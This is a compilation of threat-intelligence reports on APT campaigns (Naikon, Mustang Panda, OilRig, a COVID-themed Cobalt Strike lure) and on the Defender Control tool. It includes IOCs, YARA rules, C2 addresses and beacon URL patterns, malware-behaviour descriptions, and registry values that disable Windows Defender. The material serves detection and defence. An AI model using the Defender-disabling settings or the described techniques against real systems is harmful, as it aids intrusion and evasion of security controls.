By observing Naikon APT’s hacking arsenal, it was concluded that this group tends to conduct long-term intelligence and espionage operations, typical for a group that aims to conduct attacks on foreign governments and officials. To avoid detection and maximize the result, it changed different TTPs and tools over time.
In this attack analyzed by C25, the Chinese APT used a spear phishing email to deliver a beacon of a Red Team framework known as “Viper.” The killchain includes an artifact that is already known and that was attributed to Naikon one year ago and is used to load and execute a custom shellcode. The target of this attack is currently unknown but with high probability, given the previous history of the attacks perpetrated by the group, it might be a government institution from a South Asian country.
## Initial Access
The attack starts with a spear phishing email containing a weaponized document. The file, written in Chinese, seems to be a reply to a call for tenders. Its title translated in English is “Tender Documents for Centralized Procurement of Web Application Firewall (WAF) Equipment of China Mobile from 2022 to 2024.”
The Office document contains two different payloads that are hidden as document properties. As visible in the following VBA snippet, when opening the document, the Macro code extracts the embedded data from Comments and Subject properties and writes it in the file system. The files are written under “%Temp%\rad543C7.tmp.ini” and “%Temp%\rad543C7.tmp.exe.” The VBA code is simple and short and doesn’t have trace of any obfuscation. The created INI file contains a payload encoded as hexstring.
## HexINI Loader
The file rad543C7.tmp.exe is an artifact already known to the community since last year and it was named HexINI. It is a small executable that acts like a loader for a shellcode. Its name comes from its characteristic to be a loader for a hex-encoded shellcode saved as INI file in the same folder. So, also in this specific case the final code is contained into the same loader file, rad543C7.tmp.ini.
The core of HexINI loader simply opens and reads the INI file using the fopen and fread functions, then converts the hexadecimal string to a byte array. Then this array is loaded into process memory space using VirtualAlloc and memcpy. Finally, the code is executed on a new thread through the CreateThread function.
## Shellcode
Once the shellcode is executed, it proceeds with the creation of a suspended process of svchost.exe that can inject the final beacon. The injection mechanism uses the classic flow composed by VirtualAllocEx, WriteProcessMemory, and CreateRemoteThreadEx WinApi functions. This remote thread seems to be a sort of HTTP beacon that tries to get new commands to execute every 7899 milliseconds from `https://175.27.164.228:57784/NYMLEDfq/IOH9E0Nq2YMEVQVXZgqYUAOI5wWcN5LMe`.
The beacon embeds the following user-agent:
`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
That corresponds to Google Chrome v58 on Windows 7.
At first glance, the code of this artifact might look like a CobaltStrike beacon. However, after a deep analysis, the C25 team discovered the beacon derives from a less popular RedTeam framework known as Viper. On the command-and-control server, using a passive approach, C25 found the presence of a Viper framework and ARL dashboards.
## Naikon Arsenal
During the analysis, it was discovered part of Naikon APT arsenal. Starting from what we observed, we can assert that this Chinese group is using open-source tools like Viper and ARL (Asset Reconnaissance Lighthouse). Both tools seem to be developed by a Chinese programmer, as most of their documentation is written in Mandarin.
**Viper**
Viper is a graphical penetration tool, which modularizes and weaponizes the tactics and technologies commonly used in the process of Intranet penetration. As stated in its Github page, Viper integrates 80+ modules, covering almost all the known Techniques (such as Resource Development, Initial Access, Execution, Persistence, and so on). Like CobaltStrike, Viper allows easy payload generation, such as Meterpreter, ReverseShell, and other custom beacons.
**ARL**
ARL (Asset Reconnaissance Lighthouse) is a tool to assist security teams or penetration testers to make reconnaissance and retrieval of assets, discovering existing weak points and attack surfaces. The tool has a lot of functionalities such as port scanning and service identification, website fingerprinting, domain name asset discovery, and so on. As visible from the Github page, the tool exposes a user-friendly Web view that makes easier most of its functionalities.
## Indicators of Compromise
| CATEGORY | TYPE | VALUE |
|------------|--------|-----------------------------------------------------------------------|
| MALDOC | SHA256 | 05936ed2436f57237e7773d3b6095e8df46821a62da49985c98be34136594ebd |
| EXE | SHA256 | 8b831ee82975d43456ee861115272d3923e17f07a702eb057feeed8ce76ff4ca |
| FAKE INI | SHA256 | ee50160fdd7cacb7d250f83c48efa55ae0479e47a1eece9c08fe387453b9492a |
| SHELLCODE | SHA256 | eeb5dc51e3828ffbefc290dc1a973c5afc89ba7ff43ab337d5a3b3dc6ca4216f |
| C&C | IPV4 | 175.27.164.228 |
## ATT&CK Matrix
| TACTIC | TECHNIQUE | NAME |
|---------------------------|------------------|-------------------------------------------|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1204 | User Execution |
| Defense Evasion | T1055 | Process Injection |
| Defense Evasion | T1406 | Obfuscated Files or Information |
| Command and Control | T1573 | Encrypted Channel |
| Command and Control | T1105 | Ingress Tool Transfer |
| Command and Control | T1071 | Application Layer Protocol |
| Command and Control | T1571 | Non-Standard Port |
Customers with access to Cluster25 intelligence portal can get more indicators and threat hunting rules about this attack. For more information about this campaign, it’s possible to send an email to [email protected]
**Written by:** Cluster25
**Tagged as:** APT, Malware, phishing, Naikon, China. |
# Defender Control
Defender Control is a free software utility we’ve come across in various intrusions. The creators describe it by saying the following: What is certain however is that it [Windows Defender] will annoy users who want to disable it permanently on the computer they are working on. Defender Control is a small portable freeware which will allow you to disable Windows Defender in Windows 10 completely.
While we have not seen this in many of our recent intrusions with big game ransomware, it is common among the smaller players, such as Dharma, Phobos, and Crysis. In our experience, these groups’ main point of entry tends to be exposed RDP. After gaining access, these threat actors often do not take the time or effort to fully scope or compromise a domain before ransoming, usually a single system. We’ve seen these threat actors get blocked by Defender and then minutes later Defender Control gets copied over and run.
Defender Control consists of two files: a portable executable and a configuration file. Defender Control can be run via GUI or command line.
This is an up-to-date Windows 10 system, with all Windows Defender controls active. Let’s click Disable Windows Defender. We can now see that the entire menu has vanished, and Windows tells you that the organization is managing Defender.
## MITRE ATT&CK
**Defense Evasion – T1562.001**
Defender Control sets a couple of registry values to disable Defender, including this one:
`HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware DWORD (0x00000001)`
Defender Control also sets this value to disable the startup of the Defender service:
`HKLM\System\CurrentControlSet\Services\WinDefend\Start DWORD (0x00000003)`
Defender Control also unloads the Defender driver. Here, we can see Defender Control turning off Defender via Local Group Policy Editor:
`Group Policy Management Editor > Administrative templates > Windows components > Microsoft Defender Antivirus > Turn off Microsoft Defender Antivirus`
**Version 1.6 Date: 12.10.2020**
Enjoy our report? Please consider donating $1 or more to the project using Patreon. Thank you for your support!
## IOCs
### File Hashes
**DefenderControl.exe**
MD5: 3a24a7b7c1ba74a5afa50f88ba81d550
SHA-1: 5da4de1dbba55774891497297396fd2e5c306cf5
SHA-256: a201f7f81277e28c0bdd680427b979aee70e42e8a98c67f11e7c83d02f8fe7ae
Vhash: 085046655d157220b02002300a66z1410043ze2za0030e039z
Authentihash: 93c6e1f59f79d000ebad4873c57e716394e359526e241445e0c75d4494b03be2
Imphash: aaaa8913c89c8aa4a5d93f06853894da
Rich PE header hash: 09983e500a3e996337593d644224f769
SSDEEP: 12288:baWzgMg7v3qnCi3ErQohh0F4JCJ8lnydQ79QudhzYOejoiQv2ju8S0c/J:uaHMv6CDrjRnydQu+ejMZ1
TLSH: T14005C012B3D680B6D99378B5297BE32BEB3575194327C4C7A7E02F729F111409B3A3A1
**DefenderControl.ini**
MD5: 4416f7bea63b8af85f5590a3bdf6261b
SHA-1: 549b43af5454b32848f500dcbea39acc49be0498
SHA-256: 84caed9ee666f5004481e2b6e3233f37adf8106f6d821085caa4dcbd1221b876
SSDEEP: 384:J9VBz+Kj3ehWYn/qmt4yJbo3nBaY+BvroUVB5j1vIdo7apRVWpIpClFG:J5BOhJ/nRCaYczoUM6apHd
## YARA
```
/*
YARA Rule Set
Author: The DFIR Report
Date: 2020-12-05
Identifier: DefenderControl
Reference: https://thedfirreport.com
*/
/* Rule Set ----------------------------------------------------------------- */
import "pe"
rule DefenderControl_Executable {
meta:
description = "DefenderControl - file DefenderControl.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2020-12-05"
hash1 = "a201f7f81277e28c0bdd680427b979aee70e42e8a98c67f11e7c83d02f8fe7ae"
strings:
$s1 = "/AutoIt3ExecuteScript" fullword wide
$s2 = "/AutoIt3ExecuteLine" fullword wide
$s3 = "SCRIPTNAME" fullword wide /* base64 encoded string '[email protected]' */
$s4 = "PROCESSGETSTATS" fullword wide
$s5 = "WINGETPROCESS" fullword wide
$s6 = "SHELLEXECUTE" fullword wide
$s7 = "SHELLEXECUTEWAIT" fullword wide
$s8 = "#NoAutoIt3Execute" fullword wide
$s9 = "PROCESSWAIT" fullword wide
$s10 = "PROCESSEXISTS" fullword wide
$s11 = "HTTPSETUSERAGENT" fullword wide
$s12 = "PROCESSSETPRIORITY" fullword wide
$s13 = "PROCESSORARCH" fullword wide
$s14 = "PROCESSCLOSE" fullword wide
$s15 = "PROCESSWAITCLOSE" fullword wide
$s16 = "PROCESSLIST" fullword wide
$s17 = "SENDCOMMANDID" fullword wide
$s18 = "FILEGETVERSION" fullword wide
$s19 = "LOGONDOMAIN" fullword wide
$s20 = "INETGETBYTESREAD" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "aaaa8913c89c8aa4a5d93f06853894da" or all of them )
}
rule DefenderControl_Config_File {
meta:
description = "DefenderControl - file DefenderControl.ini"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2020-12-05"
hash1 = "84caed9ee666f5004481e2b6e3233f37adf8106f6d821085caa4dcbd1221b876"
strings:
$s1 = "15=\"&Commando Lijn Info\"" fullword wide
$s2 = "15=\"&Command Line Info\"" fullword wide
$s3 = "15=\"&Info de ligne de commande\"" fullword wide
$s4 = "06=\"La protezione in tempo reale " fullword wide
$s5 = "pt logu start" fullword wide
$s6 = "o em Tempo Real est" fullword wide
$s7 = "06=\"La protection en temps r" fullword wide
$s8 = "15=\"&Info Linea di Comando\"" fullword wide
$s9 = "15=\"&Informatii Comenzi de Linie\"" fullword wide
$s10 = "11=\"&Defender postavke\"" fullword wide
$s11 = "15=\"&Eingabeaufforderungsinformation\"" fullword wide
$s12 = "01=\"miestas.org\"" fullword wide
$s13 = "02=\"Windows Defender is running\"" fullword wide
$s14 = "05=\"Windows Defender Service nicht gefunden\"" fullword wide
$s15 = "05=\"Windows Defender service niet gevonden\"" fullword wide
$s16 = "05=\"Service Windows Defender introuvable\"" fullword wide
$s17 = "nea de comandos\"" fullword wide
$s18 = "15=\"&Inf. da linha de comando\"" fullword wide
$s19 = "; www.sordum.org" fullword wide
$s20 = "11=\"&Configura" fullword wide
condition:
uint16(0) == 0xfeff and filesize < 100KB and
8 of them
}
``` |
# Indonesian Intelligence Agency Compromised in Suspected Chinese Hack
Chinese hackers have breached the internal networks of at least ten Indonesian government ministries and agencies, including computers from Indonesia’s primary intelligence service, the Badan Intelijen Negara (BIN). The intrusion, discovered by Insikt Group, the threat research division of Recorded Future, has been linked to Mustang Panda, a Chinese threat actor known for its cyber-espionage campaigns targeting the Southeast Asian region.
Insikt researchers first discovered this campaign in April this year, when they detected PlugX malware command and control (C&C) servers, operated by the Mustang Panda group, communicating with hosts inside the networks of the Indonesian government. These communications were later traced back to at least March 2021. The intrusion point and delivery method of the malware are still unclear.
Some systems are still infected, despite clean-up efforts. Insikt Group researchers notified Indonesian authorities about the intrusions in June this year and then again in July. Officials did not provide feedback for the reports. BIN, which was the most sensitive target compromised in the campaign, did not return requests for comment sent by The Record in July and August. A source familiar with the investigation told The Record last month that authorities had taken steps to identify and clean the infected systems. Days after, Insikt researchers confirmed that hosts inside Indonesian government networks were still communicating with the Mustang Panda malware servers.
News of this intrusive cyber-espionage effort comes as the two countries have been re-establishing close diplomatic relations after almost reaching armed conflict a few years before, primarily due to marine territorial disputes. Currently the second-largest investor in Indonesia, China has been cozying up to Indonesian provinces over the past two years to facilitate increased trade and further its implementation of the Belt and Road Initiative, a foreign policy initiative to invest in neighboring countries in order to establish lasting political ties and trade agreements. But these investments haven’t always been welcome, with some countries seeing them as a Trojan horse for their economies. Since 2013, when China made its Belt and Road Initiative public, cyber-espionage groups have often targeted countries where China planned to invest as part of this project.
**Tags**
APT
Badan Intelijen Negara
BIN
China
Indonesia
Mustang Panda
nation-state
PlugX
Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers. |
# Iranian Fileless Attack Infiltrates Israeli Organizations
## Introduction
From April 19-24, 2017, a politically motivated, targeted campaign was carried out against numerous Israeli organizations. Morphisec researchers began investigating the attacks on April 24 and continue to uncover more details. Initial reports of the attacks, published April 26 (in Hebrew) by the Israel National Cyber Event Readiness Team (CERT-IL) and The Marker, confirm that the attack was delivered through compromised email accounts at Ben-Gurion University and sent to multiple targets across Israel. Ironically, Ben-Gurion University is home to Israel’s Cyber Security Research Center. Investigators put the origin of the attack as Iranian; Morphisec’s research supports this conclusion and attributes the attacks to the same infamous hacker group responsible for the OilRig malware campaigns.
The fileless attack was delivered via Microsoft Word documents that exploited a former zero-day vulnerability in Word, CVE-2017-0199, to install a fileless attack variant of the Helminth Trojan agent. Microsoft released the patch for the vulnerability on April 11, but many organizations have not yet deployed the update. The attackers based their attack on an existing Proof-of-Concept method that was published by researchers after the patch release. By hunting through known malware repositories, Morphisec identified matching samples uploaded by Israeli high-tech development companies, medical organizations, and education organizations, indicating that they were victims of the attack. For security purposes, Morphisec is not revealing these names.
The delivery was executed by compromising the email accounts of a few high-profile individuals at Ben-Gurion University. The Word document was sent as a reply to legitimate emails sent from those accounts and was propagated to more than 250 individuals in different Israeli companies, according to CERT-IL.
Upon deeper investigation into the installed Helminth fileless agent, we identified a near-perfect match to the OilRig campaign executed by an Iranian hacker group against 140 financial institutions in the Middle East last year, as analyzed by FireEye, Palo Alto Networks, and Logrhythm. This group has become one of the most active threat actors, with noteworthy abilities, resources, and infrastructure; speculations indicate the hacking organization to be sponsored by the Iranian government. In other recent attacks (January 2017), the group used a fake Juniper Networks VPN portal and fake University of Oxford websites to deliver malware as described by ClearSky.
Our report presents the technical details of the attack, emphasizing differences from last year’s attack. In particular, there are several enhancements to different evasive mechanisms and some modifications in the communications protocol, which delivers PowerShell commands from the C&C. The most important difference is that the use of macros was exchanged with a vulnerability exploit. With their ability to set up the attack in a relatively short time, the threat actors could correctly speculate that their window of opportunity between patch release and patch rollout was still open. At the time of publication, the C&C servers are still active and will be listed herein as all other signatures and indicators of compromise.
## Technical Analysis
### Word Delivery
The different delivered documents are generally named with some random number `<random number>.doc`. Morphisec identified the following set of documents:
| Name | SHA256 |
|----------|------------------------------------------------------------------------|
| 13.doc | a9bbbf5e4797d90d579b2cf6f9d61443dff82ead9d9ffd10f3c31b686ccf81ab |
| 558.doc | 2869664d456034a611b90500f0503d7d6a64abf62d9f9dd432a8659fa6659a84 |
| 2.doc | 832cc791aad6462687e42e40fd9b261f3d2fbe91c5256241264309a5d437e4d8 |
| 1.doc | d4eb4035e11da04841087a181c48cd85f75c620a84832375925e6b03973d8e48 |
### CVE-2017-0199 Vulnerability Exploit
The most notable difference from last year’s OilRig campaign is the way the attack was delivered. In the previous campaign, the Iranian group sent specially crafted Excel and Word files, which contained macros that targeted individuals were convinced to enable. In this campaign, no macros were required. Each document utilized the vulnerability by an embedded link that delivers an .hta file (html executable).
Morphisec identified the following delivered `test<number>.hta` file with the same signature delivered from the following domains:
| Name | Delivery Server |
|-----------|-------------------------------------|
| test4.hta | hxxp://comonscar[.]in (82.145.40.46) |
| test5.hta | 80.82.67.42 |
| test1.hta | reserved |
The .hta file is immediately executed by mshta.exe, the Windows process which executes html executables. As a result, the user is usually shown a warning message, despite the fact that the HTA is still executed even if the user chooses “No.” The .hta file in this attack is much more sophisticated than in previous versions and actually disables this message by sending an “Enter” command to the warning window.
### HTA Execution and Persistency
The HTA execution goes through the following steps:
1. Before installing the agent, the .hta file sends the “Enter” key into the Word application to remove the warning message and minimize any appearance of suspicious execution. It is done by creating and executing a 1.vbs script.
2. The next step writes and executes the 0011.ps1 PowerShell script.
3. The last step kills the original process that activated the .hta file, to remove any suspicion.
### Helminth Trojan Installation and Persistency
The 0011.ps1 script, which is activated by the .hta file, is in charge of generating the Helminth Trojan PowerShell and VBS files.
| Name | SHA256 |
|----------|------------------------------------------------------------------------|
| 0011.ps1 | 042F60714E9347DB422E1A3A471DC0301D205FFBD053A4015D2B509DB92029D1 |
| 1.vbs | BE7F1D411CC4160BB221C7181DA4370972B6C867AF110C12850CAD77981976ED |
Morphisec identified the following structure, which matches the attack structure from October 2016, as described by Logrhythm. Aside from the unique generation of the files, the structure and the functionality of the trojan is very similar to the previous campaign:
1. The PowerShell script ps1 creates similar variants of Helminth trojan PowerShell and VBS files templates (DnS1.Ps1, DnE1.Ps1, backup1.vbs). Those templates are regenerated on the infected computer by replacement of all variables and function names to random names in order to slow down detection and remediation.
2. All the scripts are installed in the Public\Libraries\RecordedTV\ folder.
3. As in the previous campaign, persistency is achieved by adding a schedule task with a similar name to the Google update task (“GoogleUpdateTasksMachineUI”), which executes vbs every 3 minutes.
### Communication Protocol
We will focus here on the DnE1.Ps1 file because all other files are almost identical to the previous campaign. This file executes some of the same commands executed by VBS script in the previous campaign, but there are differences as well. The script connects to a C&C server – vpsupdate[.]tk. At the time of this report’s publication, the C&C server is still live; the server was first registered on April 16, 2017. The goal of the script is to:
- Download bat script
- Execute it and upload the results back to the C&C
- Clear traces
At each new activation of the download command (GET request), the infected computer receives a bat script for activation from the C&C:
`vpsupdate[.]tk/index.aspx?id=<random character><randomnumber>[b]` (the “b” is for download)
The file name of the bat script is then delivered through the response headers, and the content of the bat script is delivered through the response. Both of them are encoded in base 64. The name of the file is default.bat (decoded from Content-Disposition property in the header) and it is saved temporarily in the dn folder.
Note: Morphisec identified several other samples of communication with different C&C servers (“alenupdate[.]info” and “maralen[.]tk”) in which a more advanced customized version of Mimikatz was sent to specific users, and an additional agent was installed in the “C:\Program Files (x86)\Microsoft Idle\” directory.
As soon as the file executes and the resulting output is written to default.bat.txt (similarly to the previous campaign), the resulting file is uploaded back to the C&C using the following URL command (POST request):
`vpsupdate[.]tk/index.aspx?id=<random character><randomnumber>[u]` (the “u” is for upload)
At the same time, the DnE1.Ps1 is executed. The DnS1.Ps1 is also executed and communicates with the C&C using DNS exchange queries (the same as in the previous campaign). This kind of communication is very hard to block since DNS is a basic functionality required in any organization.
### Delivered Commands
The bat script is a customized version of Mimikatz (with slight modification from the last campaign). Its goal is to gather information from the computer and the network. The added commands are chcp to handle non-ASCII characters (e.g., Hebrew) and the validation of the scheduled task (which should have been added by the persistency mechanism).
As mentioned in the previous section, Morphisec identified an advanced version of the same bat script communicating with the alenupdate[.]info C&C. In that case, the information that is gathered includes A.V., Firewall, and AntiSpy product information. The persistent tasks are slightly different as well, “Google Update Core” and “Google Sync Core.”
## Remediation
1. The scheduled task “GoogleUpdateTasksMachineUI” should be removed. Note that regular Google update tasks look like GoogleUpdateTask[Machine|User]* without the “s” in Tasks.
1. In case “Google Update Core” or “Google Sync Core” exists, those need to be removed as well.
2. Access Public\Libraries\RecordedTV folder. Note that the Libraries folder in Public is hidden, and you should delete the folder and not the RecordedTV icon – if you have only the icon, then the agent is not installed.
3. If the following directory exists, remove it: “Program Files(x86)\Microsoft Idle”
4. If the following directory contains “WinInit.lnk” or “SyncInit.lnk” files, remove those files: “%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
## Conclusion
Every few years, a new “logic bug” CVE in OLE object linking is identified; the previous one was three years ago (CVE-2014-4114 and CVE-2014-6352). This kind of vulnerability is rare but powerful. It allows attackers to embed OLE objects (or links in the case of CVE-2017-0199) and bypass Microsoft validation of OLE execution without warning. In essence, it is the same as playing animation in PowerPoint. Such vulnerabilities should be patched immediately.
It is significant to note how the Iranian threat actors advanced their abilities in such a short time:
- Utilizing a vulnerability PoC immediately after its publication
- Setting up the required infrastructure with multiple domains and delivery servers
- Increasing the sophistication of the delivered Helminth agent, including regeneration of its signatures on the infected computer
- Improving the customized information gathering Mimikatz version
With many organizations taking high-risk vulnerabilities seriously and patching them as quickly as possible, attackers can no longer exploit them for an extended period of time. We, therefore, expect that threat actors will return to macro-based campaigns like Hancitor.
## Indicators of Compromise (IOCs)
### Document delivery
| Name | SHA256 |
|----------|------------------------------------------------------------------------|
| 13.doc | a9bbbf5e4797d90d579b2cf6f9d61443dff82ead9d9ffd10f3c31b686ccf81ab |
| 558.doc | 2869664d456034a611b90500f0503d7d6a64abf62d9f9dd432a8659fa6659a84 |
| 2.doc | 832cc791aad6462687e42e40fd9b261f3d2fbe91c5256241264309a5d437e4d8 |
| 1.doc | d4eb4035e11da04841087a181c48cd85f75c620a84832375925e6b03973d8e48 |
### HTA delivery servers:
- hxxp://comonscar[.]in (82.145.40.46)
- 80.82.67.42
### HTA files:
| Name | SHA256 |
|----------|------------------------------------------------------------------------|
| test4.hta| 5ac61ea5142d53412a251eb77f2961e3334a00c83da9087d355a49618220ac43 |
| test5.hta| (not provided) |
### Helminth Trojan Installers:
| Name | SHA256 |
|----------|------------------------------------------------------------------------|
| 0011.ps1 | 042F60714E9347DB422E1A3A471DC0301D205FFBD053A4015D2B509DB92029D1 |
| 1.vbs | BE7F1D411CC4160BB221C7181DA4370972B6C867AF110C12850CAD77981976ED |
### C&C:
- vpsupdate[.]tk
- alenupdate[.]info
- maralen[.]tk
### Persistency:
| Task Name |
|-------------------------------|
| GoogleUpdateTasksMachineUI |
| Google Update Core |
| Google Sync Core |
CERT-IL has listed additional IoCs that are not mentioned in this list, which includes the January campaign that involved malicious Juniper Networks VPN and fake Oxford registration form executables and their C&C domain server. |
# COVID-19 Phishing With a Side of Cobalt Strike
## Background
Multiple adversaries, from criminal groups to state-directed entities, engaged in malicious cyber activity using COVID-19 pandemic themes since March 2020. Adversaries continue to leverage the pandemic, arguably the most significant issue globally as of this writing, in various ways. Yet the most persistent avenue remains using COVID-19 themes for building malicious document files. Examples include lures associated with Cloud Atlas-linked activity and broader targeting of health authorities.
Given the continued significance of the pandemic and persistent use of pandemic themes by adversaries, DomainTools researchers continuously monitor for items leveraging COVID-19 content for malicious purposes. While conducting this research, DomainTools analysts identified an interesting malicious document with what appeared to be unique staging and execution mechanisms.
## Initial Phishing Document
On 23 March 2021, DomainTools researchers encountered the following suspicious Microsoft Excel file:
**Name:** Vaksin_COVID_19_top_10.xls
**MD5:** 9de48973af4acb5f998731a527e8721d
**SHA256:** 0be5cdea09936a5437e0fc5ef72703c4ce10c6ceb0734261d11b05b92aaba2ff
Interestingly, recent and patched versions of Microsoft Office fail to open the file due to flagged security concerns. In older versions, users are prompted to execute Visual Basic for Applications (VBA) macros on opening which executes the following commands:
The above VBA macro executes the Microsoft findstr utility to look for several strings inside the document file, then redirects the output (the lines containing the strings, if found) to the file “C:\users\public\cmd”. Finally, the script calls the Microsoft FTP utility and passes the newly-created file “cmd” to it for execution. At first, this appears confusing and of rather limited utility, until the XLS file is further examined.
## Nested Command Execution
Viewing strings within the file, the following sequence appears:
The script works to extract commands embedded in the original spreadsheet to execute follow-on system commands. In this case, the script writes the text string beginning with “TVNDRgAAAA” to a temporary file. The string is a base64-encoded object, which decodes to a Windows Cabinet file. The script unpacks the Cabinet file via the Expands utility, then executes one of the contained files. The executed file has the following characteristics:
**Name:** Interupts.exe
**MD5:** e6ca15e1e3044278ea91e32ae147964b
**SHA256:** c30fa389edb7e67e76e1a23da32e6396334c9ec09a0fd120958a2c66e826b06c
On further examination, the executable is a signed, legitimate binary. Originally named “fsstm.exe,” the file is an application from security company F-Secure. The executable is not alone within the Cabinet file though—three additional files are inside:
- FSPMAPI.dll
- '~Vaksin_COVID_19_top_10.xls'
- wasmedic.NCEx.nu.etl
The first, a Dynamic Linked Library (DLL), matches the name for the F-Secure Management Agent library. However, while the legitimate library is signed by F-Secure, like “fsstm.exe”, the copy included in the Cabinet file is not. Instead, it appears that the DLL is a modified version of the legitimate library. Based on dynamic and behavioral analysis, when Interrupts.exe launches, it loads the unsigned FSPMAPI.dll library, a technique referred to as DLL Search Order Hijacking. In this technique, an adversary takes advantage of the default search order for requested DLLs by placing a DLL with the same name as the desired entity in a folder with higher priority in the DLL search order than the legitimate item (if present). In this case, all items are written to the “c:\users\public\cmd\” location, and the legitimate (but renamed) executable will load the modified (but properly named) DLL.
When observed, execution loads the DLL which then accesses the file “wasmedic.NCEx.nu.etl”. The file consists of encoded instructions which are decoded by the DLL and then executed.
## Post-Execution Observations
As part of execution, three items take place:
1. A decoy version of the document is displayed to the user, while other processes take place in the background.
2. The malware establishes persistence on the victim machine through the creation of a “Run” key in the system registry.
3. The malicious binary begins communicating with adversary-controlled network infrastructure via domain fronting.
The decoy document ties in to the original name of the dropper document: information on COVID-19 vaccines. In this case, the spreadsheet shows a list of available COVID-19 vaccines and their alleged rank in terms of safety.
While this is displayed, the malware establishes a persistence mechanism via a Registry “Run” key for the current user:
`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\wbemgine`
`<Path to Extracted Cabinet Files>\Interupts.exe`
The above will execute the “Interupts.exe” binary when the user under which the spreadsheet was originally opened logs on. This will launch the sequence of events described here again, implying that the Command and Control (C2) items detailed below are intended to serve as a check-in for receiving further commands or passing control over to an active entity.
## Network Activity
Observed network activity appears initially directed toward a legitimate Google-hosted resource. However, further analysis of malware traffic and follow-on monitoring show that traffic is redirected to another resource, particularly either of the following subdomains of the same primary domain:
- Security[.]rabityli[.]com
- Center[.]rabityli[.]com
At the time of analysis and using DomainTools Passive DNS (pDNS) information, both subdomains resolved to the same IP address: 51.77.34[.]201. Unfortunately, registration details do not provide significant additional information for analysis or pivoting purposes.
Based on the above information, we can identify possible adversary tendencies in the Registrar (Namecheap), Name Server (registrar-servers[.]com), and hosting (the IP address is hosted through OVH in Poland) but these on their own are too broad to draw any firm conclusions.
Further analysis of actual traffic and follow-on activity shows additional interesting activity which highlights adversary operations and tradecraft.
## Cobalt Strike Activity
Reviewing behavior and network activity, the malware payload loaded and executed performs domain fronting using the legitimate googlevideo[.]com domain in order to mask actual network traffic directed to the rabityli[.]com subdomains. Specifically, the sample deploys Cobalt Strike Beacon using domain fronting via Google services for Command and Control (C2) and follow-on operations.
DomainTools analysts identified and extracted the Cobalt Strike Beacon configuration allowing for further review and confirmation of activity:
The configuration matches observed behaviors and identifies expected follow-on activity once the adversary takes control of the implant. Among other observations:
- Use of fail-over C2 servers on the two observed subdomains off the same root domain, rabityli[.]com.
- Configuration of the domain fronting activity through specified parameters reflecting YouTube and Google Video services.
- Specifying the Windows Compact tool as the temporary process for injecting further payloads as part of the Cobalt Strike Malleable C2 profile.
Overall functionality for the malicious document is now clear: provide a decoy document to the user which leverages a signed binary and a modified DLL to execute a Cobalt Strike Beacon payload.
## Pivoting to More Samples
Proper analysis cannot depend on a single sample for further research, such as linking the activity to a potential adversary or behavioral cluster. To learn more about this activity and its perpetrator, DomainTools analysts followed several investigative paths: looking at similarly-structured or -behaving documents, and identifying potential delivery vectors.
### Finding Similar Documents
DomainTools analysts first looked for documents using similar infrastructure or techniques. Analysis of potentially linked infrastructure shows no other samples currently associated with either the domains or IP address identified in the C2 activity described previously.
Shifting perspective, the document itself contains several interesting identifiers based on structure and function. Specifically, there are string patterns of interest that can be used to identify additional samples: the sequence of hard-coded commands in the Shell portion of the VBA script; the “findstr” parameter of “TVNDRgAAAA” that corresponds to the embedded Cabinet file; and the Application.Wait parameter.
Searching through several malware repositories, DomainTools researchers identified three additional samples through the previously-mentioned criteria:
| File | SHA256 | Name |
|------|--------|------|
| 06e2d46bcc4498fe7272e073fa313a0f62fcef283ca4b107b8960896cfdb7601 | N/A |
| 7bc5fb6bdf7e89e01b091bfaee8e16f476f8ee6c53d973c70f99f5eaa2b74eee | Danh sach ung vien Bo Chinh tri va Ban Bi thu khoa XIII.xls |
| 729f12b7ca02aa43785645aa14c72f414d6336a13d14ed190d634b5724d00a08 | Danh sach ung vien BCT va BBT khoa XIII.xls |
Of the three recovered samples that contain the same VBA, two are nonfunctional. The third, which first appears in late December 2020, utilizes the same functionality and methodology as the document described above, but with a different C2 destination: fril[.]zarykon[.]com and haikyu[.]zarykon[.]com at 185.225.17[.]201. Examined in DomainTools Iris, we see the same generic registration patterns as for the previously-identified domain.
The combination of infrastructure similarities and document structure combine to link these items together as part of a campaign running from at least December 2020 through March 2021.
### Observing Similar Delivery Vectors
Adopting a different perspective, the original document was previously available for download at the following location:
`http://f14-group-zf[.]zdn[.]vn/84ee4531354cda12835d/6104412318511785684`
First, this implies that the original document was delivered via a malicious link (potentially sent through a phishing message) as opposed to via an attachment to a message. Second, the root domain—zdn[.]vn—appears to be a Vietnamese hosting or Dynamic DNS (DDNS) provider. In this situation, “zdn[.]vn” would be a legitimate (if potentially untrustworthy) root domain, off of which an adversary could create subdomains for malicious purposes.
Looking at links to the subdomain “f14-group-zf” off of the “zdn[.]vn” primary domain, DomainTools researchers identified a further two documents:
| File | SHA256 | Name |
|------|--------|------|
| 6a4f055a5f682ca6aa8791485e780fbe1bacef435e229c9b5040f53612a18720 | NHẬN XÉT THỂ DỤC.xls |
| 3301b2d67a086ea0a53ff16e5428939d020b0aca9ff6d83fd4cc9b795141337d | PGV TBC+ NVKD (CN HBT 2021).xls |
While both are macro-enabled and perform functions that look malicious, neither result in a complete exploitation chain leading to command and control activity or any other obvious activity. Given similar naming conventions and hosting as the malicious documents analyzed previously, these items are obviously suspicious but at present they appear to be incomplete in functionality.
### Possible Links to “Goblin Panda”
Examining the specific techniques deployed in the documents analyzed thus far, several items stand out as having long-standing precedents. Most notably, the execution pathway used leveraging the legitimate F-Secure file is not merely known, but was previously observed in intrusions over five years prior.
In 2014, analysts at Verint documented a campaign using a modified version of media player software to deliver a similar loader via DLL path hijacking of the same F-Secure signed binary. In this case, the ultimate payload was a version of PlugX malware. German government authorities later identified similar activity—again using the legitimate F-Secure binary as an initial execution mechanism—that same year.
The 2014 activity is interesting given the reflections in the current campaign, but the identified intrusions were never linked to any entity. Other aspects of the current campaign bear resemblance to a specific threat actor: Goblin Panda.
